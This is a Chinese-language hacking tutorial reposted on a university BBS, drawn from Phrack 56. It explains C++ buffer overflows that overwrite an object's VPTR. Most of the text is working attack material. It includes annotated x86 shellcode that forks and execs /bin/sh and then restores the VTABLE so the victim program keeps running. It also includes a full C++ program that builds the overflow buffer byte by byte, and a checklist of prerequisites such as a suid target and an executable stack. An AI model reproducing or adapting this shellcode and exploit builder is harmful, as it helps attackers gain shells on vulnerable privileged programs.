    假如一个类中的最后一个变量存在缓冲区溢出漏洞,那只需向该缓冲区填充N(缓冲区
大小为N) + 4字节。这样除了进程中该缓冲区、VPTR及其后的字符串结束符所占用的内存
外不会修改其它内容。

    对于这种情况,我们可以实现更“强大”的功能:在溢出缓冲区并执行我们的
shellcode后,将继续原来程序的运行。

    更具体的运行过程是首先执行我们的shellcode,然后改写缓冲区中的运行链,再保存
(调用我们自己的方法前的)堆栈的状态。这样,我们就可以在最后再调用原来的方法,使
原程序能够继续正常运行。

    在具体的实现过程中需要注意或面对以下问题:

- 必须完全重写自定义的缓冲区,特别是shellcode部份,以使继续运行时得到适当的数值

   我们把shellcode的一部份(尽可能小)复制到另一块内存中。在本例中,我们选择复制
到堆栈(这部份代码我们称为“stackcode”)。只要堆栈是可执行的,就不会有什么其它
问题了。

- 在进程中调用fork()产生子进程,以产生shell环境(exec())。父进程等待(wait())
子进程退出,然后继续运行。

- 继续原程序运行的代码地址是不变的,因为这个地址就是被覆盖方法的原入口指针。

- 注意EAX寄存器的使用,它是对象方法的返回值。

- 由于是字符串缓冲区,不能含有00h字符,必须在运行时产生这些字符。


下图为用于实现上述功能的缓冲区结构和流程图:

+------------------------------------<-(1)---------------------------------+
|  我们的VTABLE                                                            |
=+===================                                                     ==+=
9999TT999999.... MMMM SSSS0000/bin/shAAA.... A BBB... Bnewstring99999.... VVVVL
                 ==+= ==+=    |      |       | ========
                   |    |     |      |       |      \
                   |    +-->--+      |       |        \(堆栈的拷贝)
           |                 |       |      ========
           +---(2)-->--------+       |      BBB... B
                                             |      |      |
                                             +-(3)->+      +--> old method

说明: 9 空指令代码(90h)。
       T 用于代码生成的数值。
       M Shellcode的起始地址。
       S "/bin/sh"字符串的起始地址。
       0 需要在运行时换算成00h的机器代码。
       /bin/sh 命令字符串"/bin/sh"。
       A Shellcode,功能是得到shell环境,将stackcode复制到堆栈并运行之。
       B Stackcode,功能是用新的字符串替换回缓冲区的内容,并调用原来的方法以恢复
原程序的运行。
       V 替换的VPTR。
       L 缓冲区字符串结束符。


    以下是p56-0x08中给出的shellcode、stackcode源代码。在我的机器中必须经过一些调
整才能使用。有兴趣的朋友可以自己研究,以加强理解。

-------- cut here --------
pushl  %ebp                             //save existing EBP
movl   %esp,%ebp                        //stack frame creation
xorl   %eax,%eax                        //EAX=0
movb   $0x31,%al                        //EAX=$StackCodeSize (size of the code
                                        // who will be copied to the stack)
subl   %eax,%esp                        //creation of a local variable to
                                        // contain our stackcode
pushl  %edi
pushl  %esi
pushl  %edx
pushl  %ecx
pushl  %ebx                             //save registers
pushf                                   //save flags
cld                                     //direction flag=incrementation
xorl   %eax,%eax                        //EAX=0
movw   $0x101,%ax                       //EAX=$AddThis (value added for
                                        // calculating This on the stack)
subl   %eax,0x8(%ebp)                   //we substract this value from the
                                        // current This value on the stack, to
                                        // restore the original This.
xorl   %eax,%eax                        //EAX=0
movl   $0x804a874,%edi                  //EDI=$BufferAddress+$NullOffset
                                        // (address of NULL dword in our
                                        // buffer)
stosl  %eax,%es:(%edi)                  //we write this NULL in the buffer
movl   $0x804a87f,%edi                  //EDI=$BufferAddress+$BinSh00Offset
                                        // (address of 00h from "/bin/sh")
stosb  %al,%es:(%edi)                   //we write this 00h at the end of
                                        // "/bin/sh"
movb   $0x2,%al
int    $0x80                            //fork()
xorl   %edx,%edx                        //EDX=0
cmpl   %edx,%eax
jne    0x804a8c1                        //if EAX=0 then jump to LFATHER
                                        // (EAX=0 if father process)

movb   $0xb,%al                         //else we are the child process
movl   $0x804a878,%ebx                  //EBX=$BufferAddress+$BinShOffset
                                        // (address of "/bin/sh")
movl   $0x804a870,%ecx            //ECX=$BufferAddress+$BinShAddressOffset
                                        // (adresse of address of "/bin/sh")
xorl   %edx,%edx                        //EDX=0h (NULL)
int    $0x80                            //exec() "/bin/sh"

LFATHER:
movl   %edx,%esi                        //ESI=0
movl   %edx,%ecx            //ECX=0
movl   %edx,%ebx            //EBX=0
notl   %ebx                //EBX=0xFFFFFFFF
movl   %edx,%eax            //EAX=0
movb   $0x72,%al            //EAX=0x72
int    $0x80                            //wait() (wait an exit from the shell)
xorl   %ecx,%ecx            //ECX=0
movb   $0x31,%cl            //ECX=$StackCodeSize
movl   $0x804a8e2,%esi            //ESI=$BufferAddress+$StackCodeOffset
                                        // (address of beginning of the
                                        // stackcode)
movl   %ebp,%edi                        //EDI point to the end of or local
                                        // variable
subl   %ecx,%edi                        //EDI point to the beginning of or
                                        // local variable
movl   %edi,%edx                        //EDX also point to the beginning of
                                        // or local variable
repz movsb %ds:(%esi),%es:(%edi)        //copy our stackcode into our local
                                        // variable on the stack
jmp    *%edx                            //run our stackcode on the stack

stackcode:
movl   $0x804a913,%esi            //ESI=$BufferAddress+$NewBufferOffset
                                        // (point to the new string we want to
                                        // rewrite in the buffer)
movl   $0x804a860,%edi                  //EDI=$BufferAddress (point to the
                                        // beginning of our buffer)
xorl   %ecx,%ecx            //ECX=0
movb   $0x9,%cl                         //ECX=$NewBufferSize (length of the
                                        // new string)
repz movsb %ds:(%esi),%es:(%edi)        //copy the new string at the
                                        // beginning of our buffer
xorb   %al,%al                //AL=0
stosb  %al,%es:(%edi)                   //put a 00h at the end of the string
movl   $0x804a960,%edi            //EDI=$BufferAddress+$VPTROffset
                                        // (address of VPTR)
movl   $0x8049730,%eax                  //EAX=$VTABLEAddress (adresse of the
                                        // original VTABLE from our class)
movl   %eax,%ebx            //EBX=$VTABLEAddress
stosl  %eax,%es:(%edi)                  //correct the VPTR to point to the
                                        // original VTABLE
movb   $0x29,%al                        //AL=$LastByte (byte following the
                                        // VPTR in memory)
stosb  %al,%es:(%edi)                   //we correct this byte
movl   0xc(%ebx),%eax            //EAX=*VTABLEAddress+IAddress*4
                                        // (EAX take the address of the
                                        // original method in the original
                                        // VTABLE).
popf
popl   %ebx
popl   %ecx
popl   %edx
popl   %esi
popl   %edi                             //restore flags and registers
movl   %ebp,%esp
popl   %ebp                             //destroy the stack frame
jmp    *%eax                            //run the original method


- BufferAddress = address of our buffer in memory.
- IAddress = index in the VTABLE of the 1st method that will be executed.
- VPTROffset = offset in our buffer of the VPTR to overwrite.
- AddThis = value that will be added to the This pointer on the stack, because
of the "strange handling".
- VTABLEAddress = address of the original VTABLE of our class (coded in the
executable).
- *NewBuffer = a pointer to the new chain that we want to place in our buffer
to normally continue the program.
- LastByte = the original byte following the VPTR in memory, that is
overwritten at the time of the copy of our buffer in the original buffer,
because of the 00h.

-------- cut here --------

    以下是测试程序(bo4.cpp)的源代码,摘自Phrack56-0x08。请有兴趣的朋友自己调试
。(在我的机器上,只需要修改几个地方就可以了。)

#include <stdio.h>
#include <string.h>
#include <malloc.h>

#define BUFFERSIZE 256

class BaseClass {
private:
char Buffer[BUFFERSIZE];
public:
void SetBuffer(char *String) {
  strcpy(Buffer,String);
}
virtual void PrintBuffer() {
  printf("%s\n",Buffer);
}
};

class MyClass1:public BaseClass {
public:
void PrintBuffer() {
  printf("MyClass1: ");
  BaseClass::PrintBuffer();
}
};

class MyClass2:public BaseClass {
public:
void PrintBuffer() {
  printf("MyClass2: ");
  BaseClass::PrintBuffer();
}
};

char *BufferOverflow(unsigned long BufferAddress,int IAddress,int VPTROffset,
unsigned short AddThis,unsigned long VTABLEAddress,char *NewBuffer,char
LastByte) {

char *CBuf;
unsigned long *LBuf;
unsigned short *SBuf;
char BinShSize,ShellCodeSize,StackCodeSize,NewBufferSize;
unsigned long i,
  MethodAddressOffset,BinShAddressOffset,NullOffset,BinShOffset,BinSh00Offset,
  ShellCodeOffset,StackCodeOffset,
  NewBufferOffset,NewBuffer00Offset,
  LastByteOffset;
char *BinSh="/bin/sh";

CBuf=(char*)malloc(VPTROffset+4+1);
LBuf=(unsigned long*)CBuf;

BinShSize=(char)strlen(BinSh);
ShellCodeSize=0x62;
StackCodeSize=0x91+2-0x62;
NewBufferSize=(char)strlen(NewBuffer);

MethodAddressOffset=IAddress*4;
BinShAddressOffset=MethodAddressOffset+4;
NullOffset=MethodAddressOffset+8;
BinShOffset=MethodAddressOffset+12;
BinSh00Offset=BinShOffset+(unsigned long)BinShSize;
ShellCodeOffset=BinSh00Offset+1;
StackCodeOffset=ShellCodeOffset+(unsigned long)ShellCodeSize;
NewBufferOffset=StackCodeOffset+(unsigned long)StackCodeSize;
NewBuffer00Offset=NewBufferOffset+(unsigned long)NewBufferSize;
LastByteOffset=VPTROffset+4;

for (i=0;i<VPTROffset;i++) CBuf[i]='\x90'; //NOPs
SBuf=(unsigned short*)&LBuf[2];
*SBuf=AddThis; //added  to the This pointer on the stack

LBuf=(unsigned long*)&CBuf[MethodAddressOffset];
*LBuf=BufferAddress+ShellCodeOffset; //shellcode's address

LBuf=(unsigned long*)&CBuf[BinShAddressOffset];
*LBuf=BufferAddress+BinShOffset; //address of "/bin/sh"

memcpy(&CBuf[BinShOffset],BinSh,BinShSize); //"/bin/sh" string

//shellcode:

i=ShellCodeOffset;
CBuf[i++]='\x55';                                   //pushl %ebp
CBuf[i++]='\x89';CBuf[i++]='\xE5';                  //movl %esp,%ebp
CBuf[i++]='\x31';CBuf[i++]='\xC0';                  //xorl %eax,%eax
CBuf[i++]='\xB0';CBuf[i++]=StackCodeSize;           //movb $StackCodeSize,%al
CBuf[i++]='\x29';CBuf[i++]='\xC4';                  //subl %eax,%esp

CBuf[i++]='\x57';                                   //pushl %edi
CBuf[i++]='\x56';                                   //pushl %esi
CBuf[i++]='\x52';                                   //pushl %edx
CBuf[i++]='\x51';                                   //pushl %ecx
CBuf[i++]='\x53';                                   //pushl %ebx
CBuf[i++]='\x9C';                                   //pushf

CBuf[i++]='\xFC';                                   //cld

CBuf[i++]='\x31';CBuf[i++]='\xC0';                  //xorl %eax,%eax
CBuf[i++]='\x66';CBuf[i++]='\xB8';                  //movw $AddThis,%ax
SBuf=(unsigned short*)&CBuf[i];*SBuf=AddThis;i=i+2;
CBuf[i++]='\x29';CBuf[i++]='\x45';CBuf[i++]='\x08'; //subl %eax,0x8(%ebp)

CBuf[i++]='\x31';CBuf[i++]='\xC0';                  //xorl %eax,%eax

CBuf[i++]='\xBF';                        //movl $BufferAddress+$NullOffset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NullOffset;i=i+4;
CBuf[i++]='\xAB';                                   //stosl %eax,%es:(%edi)

CBuf[i++]='\xBF';                     //movl $BufferAddress+$BinSh00Offset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinSh00Offset;i=i+4;
CBuf[i++]='\xAA';                                   //stosb %al,%es:(%edi)

CBuf[i++]='\xB0';CBuf[i++]='\x02';                  //movb $0x2,%al
CBuf[i++]='\xCD';CBuf[i++]='\x80';                  //int $0x80 (fork())

CBuf[i++]='\x31';CBuf[i++]='\xD2';                  //xorl %edx,%edx
CBuf[i++]='\x39';CBuf[i++]='\xD0';                  //cmpl %edx,%eax
CBuf[i++]='\x75';CBuf[i++]='\x10';                  //jnz +$0x10 (-> LFATHER)

CBuf[i++]='\xB0';CBuf[i++]='\x0B';                  //movb $0xB,%al
CBuf[i++]='\xBB';                       //movl $BufferAddress+$BinShOffset,%ebx
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShOffset;i=i+4;
CBuf[i++]='\xB9';                //movl $BufferAddress+$BinShAddressOffset,%ecx
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+BinShAddressOffset;i=i+4;
CBuf[i++]='\x31';CBuf[i++]='\xD2';                  //xorl %edx,%edx
CBuf[i++]='\xCD';CBuf[i++]='\x80';                  //int $0x80 (execve())

                                                     //LFATHER:
CBuf[i++]='\x89';CBuf[i++]='\xD6';                  //movl %edx,%esi
CBuf[i++]='\x89';CBuf[i++]='\xD1';                  //movl %edx,%ecx
CBuf[i++]='\x89';CBuf[i++]='\xD3';                  //movl %edx,%ebx
CBuf[i++]='\xF7';CBuf[i++]='\xD3';                  //notl %ebx
CBuf[i++]='\x89';CBuf[i++]='\xD0';                  //movl %edx,%eax
CBuf[i++]='\xB0';CBuf[i++]='\x72';                  //movb $0x72,%al
CBuf[i++]='\xCD';CBuf[i++]='\x80';                  //int $0x80 (wait())

CBuf[i++]='\x31';CBuf[i++]='\xC9';                  //xorl %ecx,%ecx
CBuf[i++]='\xB1';CBuf[i++]=StackCodeSize;           //movb $StackCodeSize,%cl

CBuf[i++]='\xBE';                   //movl $BufferAddress+$StackCodeOffset,%esi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+StackCodeOffset;i=i+4;

CBuf[i++]='\x89';CBuf[i++]='\xEF';                  //movl %ebp,%edi
CBuf[i++]='\x29';CBuf[i++]='\xCF';                  //subl %ecx,%edi
CBuf[i++]='\x89';CBuf[i++]='\xFA';                  //movl %edi,%edx

CBuf[i++]='\xF3';CBuf[i++]='\xA4';           //repz movsb %ds:(%esi),%es:(%edi)

CBuf[i++]='\xFF';CBuf[i++]='\xE2';                  //jmp *%edx (stackcode)

//stackcode:

CBuf[i++]='\xBE';                   //movl $BufferAddress+$NewBufferOffset,%esi

LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+NewBufferOffset;i=i+4;
CBuf[i++]='\xBF';                                   //movl $BufferAddress,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress;i=i+4;
CBuf[i++]='\x31';CBuf[i++]='\xC9';                  //xorl %ecx,%ecx
CBuf[i++]='\xB1';CBuf[i++]=NewBufferSize;           //movb $NewBufferSize,%cl
CBuf[i++]='\xF3';CBuf[i++]='\xA4';           //repz movsb %ds:(%esi),%es:(%edi)

CBuf[i++]='\x30';CBuf[i++]='\xC0';                  //xorb %al,%al
CBuf[i++]='\xAA';                                   //stosb %al,%es:(%edi)

CBuf[i++]='\xBF';                        //movl $BufferAddress+$VPTROffset,%edi
LBuf=(unsigned long*)&CBuf[i];*LBuf=BufferAddress+VPTROffset;i=i+4;
CBuf[i++]='\xB8';                                   //movl $VTABLEAddress,%eax
LBuf=(unsigned long*)&CBuf[i];*LBuf=VTABLEAddress;i=i+4;
CBuf[i++]='\x89';CBuf[i++]='\xC3';                  //movl %eax,%ebx
CBuf[i++]='\xAB';                                   //stosl %eax,%es:(%edi)

CBuf[i++]='\xB0';CBuf[i++]=LastByte;                //movb $LastByte,%al
CBuf[i++]='\xAA';                                   //stosb %al,%es:(%edi)

CBuf[i++]='\x8B';CBuf[i++]='\x43';
CBuf[i++]=(char)4*IAddress;                       //movl $4*Iaddress(%ebx),%eax

CBuf[i++]='\x9D';                                   //popf
CBuf[i++]='\x5B';                                   //popl %ebx
CBuf[i++]='\x59';                                   //popl %ecx
CBuf[i++]='\x5A';                                   //popl %edx
CBuf[i++]='\x5E';                                   //popl %esi
CBuf[i++]='\x5F';                                   //popl %edi

CBuf[i++]='\x89';CBuf[i++]='\xEC';                  //movl %ebp,%esp
CBuf[i++]='\x5D';                                   //popl %ebp

CBuf[i++]='\xFF';CBuf[i++]='\xE0';                  //jmp *%eax

memcpy(&CBuf[NewBufferOffset],NewBuffer,(unsigned long)NewBufferSize);
  //insert the new string into the buffer

LBuf=(unsigned long*)&CBuf[VPTROffset];
*LBuf=BufferAddress; //address of our VTABLE

CBuf[LastByteOffset]=0; //last byte (for strcpy())

return CBuf;
}

void main() {
BaseClass *Object[2];
unsigned long *VTABLEAddress;

Object[0]=new MyClass1;
Object[1]=new MyClass2;

printf("Object[0] address = %X\n",(unsigned long)&(*Object[0]));
VTABLEAddress=(unsigned long*) ((char*)&(*Object[0])+256);
printf("VTable address = %X\n",*VTABLEAddress);

Object[0]->SetBuffer(BufferOverflow((unsigned long)&(*Object[0]),4,BUFFERSIZE,
  0x0101,*VTABLEAddress,"newstring",0x29));

Object[1]->SetBuffer("string2");
Object[0]->PrintBuffer();
Object[1]->PrintBuffer();
}


---[[ 总结 ]]--------------------------------------

    下面总结一下对C++程序实施对象缓冲区溢出攻击所需的基本技术:

    - 固定长度且存在溢出问题的缓冲区

    - 被溢出程序具有suid属性。

    - 可执行的堆(heap)和/或栈(stack),视具体实现而定。

    - (位于堆或栈的)缓冲区起始地址。

    - VPTR相对于缓冲区起始起始地址的偏移量(对于一个程序来说此值是固定不变的)


    - 缓冲区溢出后被调用的函数入口相对于VTABLE第一个方法入口的偏移量(索引值)


    - 如果希望原程序能继续正常运行,还需要知道VTABLE的地址。



<<< 完 >>>

Thanks to: rix, route, klog, mayhem, nite, darkbug






版权所有,未经许可,不得转载
欢迎访问我们的站点http://www.isbase.com/
绿色兵团给您安全的保障


公司介绍 业务范围 客户专区 友情站点 邮件列表


--
☆ 来源:.BBS 荔园晨风站 bbs.szu.edu.cn.[FROM: bbs@192.168.28.106]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店